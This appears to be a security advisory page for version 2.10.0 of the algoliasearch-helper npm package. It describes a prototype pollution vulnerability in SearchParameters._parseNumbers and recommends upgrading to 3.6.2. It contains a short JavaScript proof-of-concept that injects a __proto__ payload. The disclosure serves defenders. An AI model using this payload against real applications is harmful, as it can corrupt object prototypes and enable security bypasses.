algoliasearch-helper@2.10.0 vulnerabilities

Helper for implementing advanced search features with algolia

  • latest version

    3.22.6

  • latest non vulnerable version

  • first published

    9 years ago

  • latest version published

    4 days ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the algoliasearch-helper package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    algoliasearch-helper is a Helper for implementing advanced search features with algolia

    Affected versions of this package are vulnerable to Prototype Pollution due to use of the merge function in src/SearchParameters/index.js#SearchParameters._parseNumbers without any protection against prototype properties.

    Note that this vulnerability is only exploitable if the implementation allows users to define arbitrary search patterns.

    PoC

    // Run npm i algoliasearch-helper, then run the below code
    const algohelp = require('algoliasearch-helper')
    var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable to PP"}}');
    var test = {};
    console.log("Before: " + test.polluted); // Before: undefined
    algohelp.SearchParameters._parseNumbers(payload); // {}
    console.log("After: " + test.polluted); // After: vulnerable to PP
    

    How to fix Prototype Pollution?

    Upgrade algoliasearch-helper to version 3.6.2 or higher.

    <3.6.2